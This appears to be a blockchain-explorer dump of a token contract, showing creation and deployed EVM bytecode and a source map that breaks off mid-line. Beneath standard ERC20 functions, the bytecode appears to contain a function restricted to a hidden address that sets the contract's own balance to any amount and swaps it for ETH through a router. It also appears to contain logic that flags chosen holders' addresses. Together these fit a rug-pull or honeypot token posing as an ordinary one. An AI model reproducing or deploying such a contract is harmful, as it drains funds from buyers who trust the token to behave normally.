ffffffffffffff8111156115fd576115fc6113ef565b5b61160985828601611575565b92509250509250929050565b61161e81611412565b82525050565b5f6020820190506116375f830184611615565b92915050565b5f60208284031215611652576116516113eb565b5b5f61165f84828501611439565b91505092915050565b5f806040838503121561167e5761167d6113eb565b5b5f61168b8582860161146c565b925050602061169c85828601611439565b9150509250929050565b5f80604083850312156116bc576116bb6113eb565b5b5f6116c985828601611439565b92505060206116da85828601611439565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172857607f821691505b60208210810361173b5761173a6116e4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117788261144d565b91506117838361144d565b925082820190508082111561179b5761179a611741565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6117d88261144d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361180a57611809611741565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61184960208361134b565b915061185482611815565b602082019050919050565b5f6020820190508181035f8301526118768161183d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506118b881611423565b92915050565b5f602082840312156118d3576118d26113eb565b5b5f6118e0848285016118aa565b91505092915050565b5f819050919050565b5f819050919050565b5f61191561191061190b846118e9565b6118f2565b61144d565b9050919050565b611925816118fb565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61195d81611412565b82525050565b5f61196e8383611954565b60208301905092915050565b5f602082019050919050565b5f6119908261192b565b61199a8185611935565b93506119a583611945565b805f5b838110156119d55781516119bc8882611963565b97506119c78361197a565b9250506001810190506119a8565b5085935050505092915050565b5f60a0820190506119f55f8301886114f1565b611a02602083018761191c565b8181036040830152611a148186611986565b9050611a236060830185611615565b611a3060808301846114f1565b9695505050505050565b5f611a448261144d565b9150611a4f8361144d565b9250828203905081811115611a6757611a66611741565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361134b565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361134b565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b938261144d565b9150611b9e8361144d565b9250828202611bac8161144d565b91508282048414831517611bc357611bc2611741565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c018261144d565b9150611c0c8361144d565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361134b565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361134b565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea264697066735822122028e9e6917bd608f3ed4d38829fc9f60397acaf4a6f751e42cbfe89f62849241f64736f6c63430008150033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636f268a99116100b65780638da5cb5b1161007a5780638da5cb5b1461031857806395d89b4114610336578063a457c2d714610354578063a9059cbb14610384578063cd8c15d2146103b4578063dd62ed3e146103be57610140565b80636f268a991461029a57806370a08231146102b8578063715018a6146102e85780637d78653a146102f25780638226564d146102fc57610140565b806323b872dd1161010857806323b872dd146101c4578063313ce567146101f457806332424aa31461021257806339509351146102305780633eaaf86b1461026057806347fe33921461027e57610140565b806306fdde0314610144578063095ea7b3146101625780631327cab51461019257806315b060801461019c57806318160ddd146101a6575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b005b6101a4610496565b005b6101ae610498565b6040516101bb9190611500565b60405180910390f35b6101de60048036038101906101d99190611519565b6104a1565b6040516101eb91906114d8565b60405180910390f35b6101fc610543565b6040516102099190611500565b60405180910390f35b61021a61054c565b6040516102279190611500565b60405180910390f35b61024a60048036038101906102459190611480565b610552565b60405161025791906114d8565b60405180910390f35b6102686105f2565b6040516102759190611500565b60405180910390f35b610298600480360381019061029391906115ca565b6105f8565b005b6102a26106ac565b6040516102af9190611624565b60405180910390f35b6102d260048036038101906102cd919061163d565b6106d1565b6040516102df9190611500565b60405180910390f35b6102f0610717565b005b6102fa610846565b005b61031660048036038101906103119190611668565b610848565b005b610320610ae5565b60405161032d9190611624565b60405180910390f35b61033e610b0c565b60405161034b91906113cb565b60405180910390f35b61036e60048036038101906103699190611480565b610b9c565b60405161037b91906114d8565b60405180910390f35b61039e60048036038101906103999190611480565b610cc0565b6040516103ab91906114d8565b60405180910390f35b6103bc610cdd565b005b6103d860048036038101906103d391906116a6565b610cdf565b6040516103e59190611500565b60405180910390f35b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b565b565b5f600254905090565b5f6104ad848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f4611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610538575f80fd5b600190509392505050565b5f600154905090565b60015481565b5f6105e861055e611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105e3919061176e565b610d61565b6001905092915050565b60025481565b5f61060161120a565b90505f5b838390508110156106a657610618611211565b156106935760018261062a919061176e565b60085f8686858181106106405761063f6117a1565b5b9050602002016020810190610655919061163d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b808061069e906117ce565b915050610605565b50505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610736610ae5565b73ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107839061185f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b610850611211565b15610adb576108813060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff8111156108df576108de61187d565b5b60405190808252806020026020018201604052801561090d5781602001602082028036833780820191505090505b50905030815f81518110610924576109236117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ec91906118be565b81600181518110610a00576109ff6117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8486602042610a88919061176e565b6040518663ffffffff1660e01b8152600401610aa89594939291906119e2565b5f604051808303815f87803b158015610abf575f80fd5b505af1158015610ad1573d5f803e3d5ffd5b5050505050610ae0565b610ae1565b5b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b1b90611711565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4790611711565b8015610b925780601f10610b6957610100808354040283529160200191610b92565b820191905f5260205f20905b815481529060010190602001808311610b7557829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c21575f80fd5b610cb6610c2c611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cb19190611a3a565b610d61565b6001905092915050565b5f610cd3610ccc611203565b8484610f24565b6001905092915050565b565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f179190611500565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5c575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa5575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110029190611500565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110539190611a3a565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109d61120a565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111096103e86110fb6103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111555750815b1561115e578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ab9190611a3a565b816111b6919061176e565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f43905090565b5f61121a611203565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f80830361127e575f90506112df565b5f828461128b9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b60405180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137857808201518184015260208101905061135d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139d82611341565b6113a7818561134b565b93506113b781856020860161135b565b6113c081611383565b840191505092915050565b5f6020820190508181035f8301526113e38184611393565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141c826113f3565b9050919050565b61142c81611412565b8114611436575f80fd5b50565b5f8135905061144781611423565b92915050565b5f819050919050565b61145f8161144d565b8114611469575f80fd5b50565b5f8135905061147a81611456565b92915050565b5f8060408385031215611496576114956113eb565b5b5f6114a385828601611439565b92505060206114b48582860161146c565b9150509250929050565b5f8115159050919050565b6114d2816114be565b82525050565b5f6020820190506114eb5f8301846114c9565b92915050565b6114fa8161144d565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b5f805f606084860312156115305761152f6113eb565b5b5f61153d86828701611439565b935050602061154e86828701611439565b925050604061155f8682870161146c565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261158a57611589611569565b5b8235905067ffffffffffffffff8111156115a7576115a661156d565b5b6020830191508360208202830111156115c3576115c2611571565b5b9250929050565b5f80602083850312156115e0576115df6113eb565b5b5f83013567ffffffffffffffff8111156115fd576115fc6113ef565b5b61160985828601611575565b92509250509250929050565b61161e81611412565b82525050565b5f6020820190506116375f830184611615565b92915050565b5f60208284031215611652576116516113eb565b5b5f61165f84828501611439565b91505092915050565b5f806040838503121561167e5761167d6113eb565b5b5f61168b8582860161146c565b925050602061169c85828601611439565b9150509250929050565b5f80604083850312156116bc576116bb6113eb565b5b5f6116c985828601611439565b92505060206116da85828601611439565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172857607f821691505b60208210810361173b5761173a6116e4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117788261144d565b91506117838361144d565b925082820190508082111561179b5761179a611741565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6117d88261144d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361180a57611809611741565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61184960208361134b565b915061185482611815565b602082019050919050565b5f6020820190508181035f8301526118768161183d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506118b881611423565b92915050565b5f602082840312156118d3576118d26113eb565b5b5f6118e0848285016118aa565b91505092915050565b5f819050919050565b5f819050919050565b5f61191561191061190b846118e9565b6118f2565b61144d565b9050919050565b611925816118fb565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61195d81611412565b82525050565b5f61196e8383611954565b60208301905092915050565b5f602082019050919050565b5f6119908261192b565b61199a8185611935565b93506119a583611945565b805f5b838110156119d55781516119bc8882611963565b97506119c78361197a565b9250506001810190506119a8565b5085935050505092915050565b5f60a0820190506119f55f8301886114f1565b611a02602083018761191c565b8181036040830152611a148186611986565b9050611a236060830185611615565b611a3060808301846114f1565b9695505050505050565b5f611a448261144d565b9150611a4f8361144d565b9250828203905081811115611a6757611a66611741565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361134b565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361134b565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b938261144d565b9150611b9e8361144d565b9250828202611bac8161144d565b91508282048414831517611bc357611bc2611741565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c018261144d565b9150611c0c8361144d565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361134b565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361134b565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea264697066735822122028e9e6917bd608f3ed4d38829fc9f60397acaf4a6f751e42cbfe89f62849241f64736f6c63430008150033

Deployed Bytecode Sourcemap

10972:4967:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11903:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15778:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12110:33;;;:::i;:::-;;12190:34;;;:::i;:::-;;13951:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12635:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13653:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11043:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15359:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11080:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12271:358;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11515:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11994:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10073:148;;;:::i;:::-;;12230:35;;;:::i;:::-;;14050:572;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10227:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12869:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13278:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15566:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12149:35;;;:::i;:::-;;13138:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11903:85;11942:13;11975:5;11968:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11903:85;:::o;15778:158::-;15852:4;15869:37;15878:10;15890:7;15899:6;15869:8;:37::i;:::-;15924:4;15917:11;;15778:158;;;;:::o;12110:33::-;:::o;12190:34::-;:::o;13951:93::-;13997:7;14024:12;;14017:19;;13951:93;:::o;12635:228::-;12723:4;12740:35;12750:4;12756:9;12767:7;12740:9;:35::i;:::-;12825:7;12794:11;:17;12806:4;12794:17;;;;;;;;;;;;;;;:27;12812:8;:6;:8::i;:::-;12794:27;;;;;;;;;;;;;;;;:38;;12786:47;;;;;;12851:4;12844:11;;12635:228;;;;;:::o;13653:87::-;13696:7;13723:9;;13716:16;;13653:87;:::o;11043:28::-;;;;:::o;15359:201::-;15439:4;15456:74;15465:8;:6;:8::i;:::-;15475:7;15519:10;15484:11;:23;15496:10;15484:23;;;;;;;;;;;;;;;:32;15508:7;15484:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;15456:8;:74::i;:::-;15548:4;15541:11;;15359:201;;;;:::o;11080:58::-;;;;:::o;12271:358::-;12348:19;12370:16;:14;:16::i;:::-;12348:38;;12402:15;12397:225;12437:13;;:20;;12424:10;:33;12397:225;;;12495:17;:15;:17::i;:::-;12490:121;;;12594:1;12580:11;:15;;;;:::i;:::-;12541:9;:36;12551:13;;12565:10;12551:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12541:36;;;;;;;;;;;;;;;:54;;;;12490:121;12460:12;;;;;:::i;:::-;;;;12397:225;;;;12337:292;12271:358;;:::o;11515:25::-;;;;;;;;;;;;;:::o;11994:110::-;12051:7;12078:9;:18;12088:7;12078:18;;;;;;;;;;;;;;;;12071:25;;11994:110;;;:::o;10073:148::-;10469:10;10458:21;;:7;:5;:7::i;:::-;:21;;;10450:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;10180:1:::1;10143:40;;10164:6;::::0;::::1;;;;;;;;10143:40;;;;;;;;;;;;10211:1;10194:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;10073:148::o:0;12230:35::-;:::o;14050:572::-;14134:17;:15;:17::i;:::-;14130:485;;;14168:53;14185:4;14200:11;;;;;;;;;;;14214:6;14168:8;:53::i;:::-;14264:6;14237:9;:24;14255:4;14237:24;;;;;;;;;;;;;;;:33;;;;14285:28;14330:1;14316:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14285:47;;14372:4;14347:11;14359:1;14347:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;14410:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14393:11;14405:1;14393:14;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;14444:11;;;;;;;;;;;:62;;;14507:6;14515:1;14518:11;14531:10;14561:2;14543:15;:20;;;;:::i;:::-;14444:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14153:423;14130:485;;;14597:7;;14130:485;14050:572;;;:::o;10227:71::-;10273:7;10290:6;;;;;;;;;;;10283:13;;10227:71;:::o;12869:87::-;12908:13;12941:7;12934:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12869:87;:::o;13278:243::-;13351:4;13409:6;13376:11;:23;13388:10;13376:23;;;;;;;;;;;;;;;:29;13400:4;13376:29;;;;;;;;;;;;;;;;:39;;13368:48;;;;;;13427:64;13436:8;:6;:8::i;:::-;13446:4;13484:6;13452:11;:23;13464:10;13452:23;;;;;;;;;;;;;;;:29;13476:4;13452:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;13427:8;:64::i;:::-;13509:4;13502:11;;13278:243;;;;:::o;15566:154::-;15635:4;15652:38;15662:8;:6;:8::i;:::-;15672:9;15683:6;15652:9;:38::i;:::-;15708:4;15701:11;;15566:154;;;;:::o;12149:35::-;:::o;13138:134::-;13210:7;13237:11;:18;13249:5;13237:18;;;;;;;;;;;;;;;:27;13256:7;13237:27;;;;;;;;;;;;;;;;13230:34;;13138:134;;;;:::o;11549:346::-;11668:1;11651:19;;:5;:19;;;11643:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;11750:1;11731:21;;:7;:21;;;11723:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;11833:6;11803:11;:18;11815:5;11803:18;;;;;;;;;;;;;;;:27;11822:7;11803:27;;;;;;;;;;;;;;;:36;;;;11871:7;11855:32;;11864:5;11855:32;;;11880:6;11855:32;;;;;;:::i;:::-;;;;;;;;11549:346;;;:::o;14628:655::-;14708:17;14764:1;14748:18;;:4;:18;;;14740:27;;;;;;14795:9;:15;14805:4;14795:15;;;;;;;;;;;;;;;;14786:5;:24;;14778:33;;;;;;14842:2;14827:25;;14836:4;14827:25;;;14846:5;14827:25;;;;;;:::i;:::-;;;;;;;;14900:5;14881:9;:15;14891:4;14881:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;14863:9;:15;14873:4;14863:15;;;;;;;;;;;;;;;:43;;;;14917:15;14956:16;:14;:16::i;:::-;14936:9;:15;14946:4;14936:15;;;;;;;;;;;;;;;;:37;;14917:57;;14985:25;15013:24;15032:4;15013:14;15023:3;15013:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;14985:52;;15072:1;15053:9;:15;15063:4;15053:15;;;;;;;;;;;;;;;;:20;;15052:36;;;;;15078:10;15052:36;15048:103;;;15120:17;15107:31;;15048:103;15161:17;15181:9;:13;15191:2;15181:13;;;;;;;;;;;;;;;;15161:33;;15229:9;15219:5;15218:21;;;;:::i;:::-;15205:34;;;;;:::i;:::-;;;15266:9;15250;:13;15260:2;15250:13;;;;;;;;;;;;;;;:25;;;;14697:586;;;;14628:655;;;:::o;13859:86::-;13900:7;13927:10;13920:17;;13859:86;:::o;12962:96::-;13011:7;13038:12;13031:19;;12962:96;:::o;13746:107::-;13795:4;13835:8;:6;:8::i;:::-;13820:24;;:10;;;;;;;;;;;:24;;;13812:33;;13746:107;:::o;9691:223::-;9749:7;9778:1;9773;:6;9769:23;;9789:1;9782:8;;;;9769:23;9802:9;9818:1;9814;:5;;;;:::i;:::-;9802:17;;9847:1;9842;9838;:5;;;;:::i;:::-;:10;9830:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;9905:1;9898:8;;;9691:223;;;;;:::o;9505:178::-;9563:7;9595:1;9591;:5;9583:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;9639:9;9655:1;9651;:5;;;;:::i;:::-;9639:17;;9674:1;9667:8;;;9505:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:117::-;4532:1;4529;4522:12;45